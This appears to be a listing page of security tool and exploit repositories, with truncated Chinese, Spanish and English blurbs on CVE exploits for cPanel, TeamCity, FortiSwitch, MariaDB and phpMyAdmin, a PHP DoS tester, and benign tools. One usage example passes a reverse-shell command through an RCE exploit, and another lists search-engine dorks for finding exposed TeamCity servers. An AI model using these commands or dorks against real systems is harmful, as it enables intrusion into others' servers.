CGA-4F24-G77V-JGRQ

Bulletin has no description...

CGA-WRX5-3XVW-J8XV

Bulletin has no description...

CGA-842P-HQ7J-GQ88

Bulletin has no description...

CVE-2026-41940_exploit

CVE-2026-41940 - cPanel & WHM 认证绕过利用工具 漏洞：cpsrvd 的 HTTP Basic 认证处理器中存在通过 CRLF 注入进行会话文件操作 CVE: CVE-2026-41940 CVSS: 9.8（严重） CWE: CWE-93（CRLF 注入）/ CWE-306（缺少认证） 受影响： cPanel & WHM 版本低于： 11.110.0.97, 11.118.0.63, 11.126.0.54, 11.132.0.29, 11.134.0.20, 11.136.0.5 端口：...

CVE-2022-23808

phpMyAdmin 利用 利用标题： phpMyAdmin 5.1.1 - XSS（跨站脚本攻击） 利用作者： Dipak Panchal @th3.d1p4k 供应商主页： https://www.phpmyadmin.net 软件下载链接： https://www.phpmyadmin.net/files/5.1.1/ 受影响版本： 5.1分支中早于5.1.2的phpMyAdmin版本受影响。 测试环境： Windows 10 和 Linux CVE： CVE-2022-23808 参考：...

goWAPT

GOWAPT - Go 网络应用渗透测试 GOWAPT 是 wfuzz 的弟弟，WAPT 的瑞士军刀，它允许渗透测试人员毫无压力地执行大量活动，只需配置好，点击即可。 如何安装 要安装 gowapt，只需输入： root@kitploit: make sudo make install 用法 来自 -h 菜单 root@kitploit: Usage of gowapt: -H value 附加头部列表 -a string 基本认证 user:password -c string Cookie 列表 -d string 请求的 POST 数据 -e string 逗号分隔的编码器列表 默...

CVE-2009-4623

Advanced Comment System 1.0 - Ejecución Remota de Comandos RCE https://nvd.nist.gov/vuln/detail/CVE-2009-4623 Ejemplos root@kitploit: python3 exploit.py http://127.0.0.1 uname -a root@kitploit: python3 exploit.py http://127.0.0.1 'bash -i & /dev/tcp/127.0.0.1/443 0&1'...

CVE-2025-52399-SQLi-Institute-of-Current-Students

CVE-2025-52399 - Inyección SQL en Institute of Current Students Resumen El punto final loginlinkfaculty en la aplicación Institute-of-Current-Students es vulnerable a Inyección SQL a través del parámetro POST fid. El parámetro no se sanitiza correctamente antes de ser utilizado en una consulta SQ...

CVE-2024-27198-RCE

Dork de Mapeo del Ciberespacio Fofa root@kitploit: app="JETBRAINS-TeamCity" ZoomEye root@kitploit: app:"JetBrains TeamCity" Hunter.how root@kitploit: product.name="TeamCity" Shodan root@kitploit: http.component:"teamcity" Cómo usar Estoy usando Python3.9. root@kitploit: pip install requests urlli...

supply-chain-monitor

供应链监控系统 自动监控顶级 PyPI 和 npm 软件包是否存在供应链被攻陷的风险。轮询这两个注册表的新发布版本，将每个发布版本与其前身进行差异对比，并使用 LLM（通过 Cursor Agent CLI）将差异分类为 良性 或 恶意 。恶意发现会触发 Slack 警报。 默认情况下监控两个生态系统。使用 --no-pypi 或 --no-npm 禁用其中一个。 工作原理 每个生态系统运行自己的轮询线程，但共享分析和警报管道。 root@kitploit: ┌─── PyPI ──────────────────────┐ ┌─── npm ──────────────────────...

ttyd

ttyd - Share your terminal over the web ttyd is a simple command-line tool for sharing terminal over the web. Features Built on top of libuv and WebGL2 for speed Fully-featured terminal with CJK and IME support ZMODEM lrzsz / trzsz file transfer support Sixel image output support img2sixel / lsix...

ttyd

ttyd - 通过网络共享你的终端 ttyd 是一个简单的命令行工具，用于通过网络共享终端。 特性 基于 libuv 和 WebGL2 构建，速度极快 功能完整的终端，支持 CJK 和 IME 输入法 支持 ZMODEM lrzsz / trzsz 文件传输 支持 Sixel 图像输出（img2sixel / lsix） 基于 OpenSSL / Mbed TLS 的 SSL 支持 运行任意自定义命令及选项 支持基本身份验证及许多其他自定义选项 跨平台：macOS、Linux、FreeBSD/OpenBSD、OpenWrt、Windows 安装 在 macOS 上安装 使用 Homebr...

DoS-via-cache-poisoning-by-forcing-SPA-mode-CVE-2025-43864-

欢迎使用 React Router！ 一个现代、可用于生产环境的模板，用于使用 React Router 构建全栈 React 应用。 特性 🚀 服务端渲染 ⚡️ 热模块替换 HMR 📦 资源打包与优化 🔄 数据加载与变更 🔒 默认使用 TypeScript 🎉 使用 TailwindCSS 进行样式处理 📖 React Router 文档 开始使用 安装 安装依赖： root@kitploit: npm install 开发 启动带有 HMR 的开发服务器： root@kitploit: npm run dev 你的应用将在 http://localhost:5173 可用。 构建生产版...

BloodHound-Legacy

BloodHound 传统版 v4 已弃用 此仓库用于 BloodHound 传统版（版本 4），该版本最后更新于 2023 年，现已不再维护。它将在近期归档。 请使用新版 BloodHound Community Edition BloodHound 传统版已被免费的 BloodHound Community Edition 取代： BloodHound Community Edition GitHub 仓库 安装指南 完整文档 BloodHound 由 @wald0、@CptJesus 和 @harmj0y 创建。 BloodHound 由 BloodHound Enterprise...

CVE-2024-48887-FortiSwitch-Exploit

CVE-2024-48887-FortiSwitch-Exploit 🚨 PoC de CVE-2024-48887 para FortiSwitch JavaScript 🚨 🔥 Acabo de publicar un fragmento de JavaScript ligero que muestra cómo se pueden activar cambios de contraseña no autorizados en endpoints vulnerables de la GUI de Fortinet FortiSwitch. 🛠️ Acerca de la...

phpstress

phpstress Prueba de concepto de Night Lion Security de denegación de servicio / probador de estrés para sitios web PHP que se ejecutan en sistemas Apache y NGINX PHP-FPM y PHP-CGI Usando una conexión estándar de cable/DSL, este ataque puede inundar la CPU y RAM de un servidor web Linux usando...

Security Bulletin: Multiple vulnerabilities impact AIX due to ISC BIND

Summary Vulnerabilities in ISC BIND could cause: Allowing forged authenticated NXDOMAIN responses CVE-2026-10723, Denial of service CVE-2026-10822, CVE-2026-11331, CVE-2026-11622, CVE-2026-12617, CVE-2026-13204, DNS cache poisoning CVE-2026-11721, CVE-2026-13321. AIX uses ISC BIND as part of its...

CVE-2021-27928-POC

CVE-2021-27928 POC Descripción Se descubrió un problema de ejecución remota de código en MariaDB 10.2 anterior a 10.2.37, 10.3 anterior a 10.3.28, 10.4 anterior a 10.4.18 y 10.5 anterior a 10.5.9; Percona Server hasta 2021-03-03; y el parche wsrep hasta 2021-03-03 para MySQL. Una ruta de búsqueda...

webscreenshot

webscreenshot Description A simple script to screenshot a list of websites, based on the url-to-image PhantomJS script. Features Integrating url-to-image 'lazy-rendering' for AJAX resources Fully functional on Windows and Linux systems Cookie and custom HTTP header definition support for the...

webscreenshot

webscreenshot 描述 一个基于 url-to-image PhantomJS 脚本的简单工具，用于对网站列表进行截图。 功能 集成 url-to-image 的 '懒加载渲染' 以处理 AJAX 资源 在 Windows 和 Linux 系统上完全可用 支持为 PhantomJS 渲染器定义 Cookie 和自定义 HTTP 头 多进程处理，并在用户可定义的超时后终止无响应的进程 支持多种格式作为输入目标 自定义截图大小（宽度、高度）、格式和质量 映射 PhantomJS 的有用选项，如忽略 SSL 错误、代理定义和代理认证、HTTP 基本认证 支持多种渲染器：...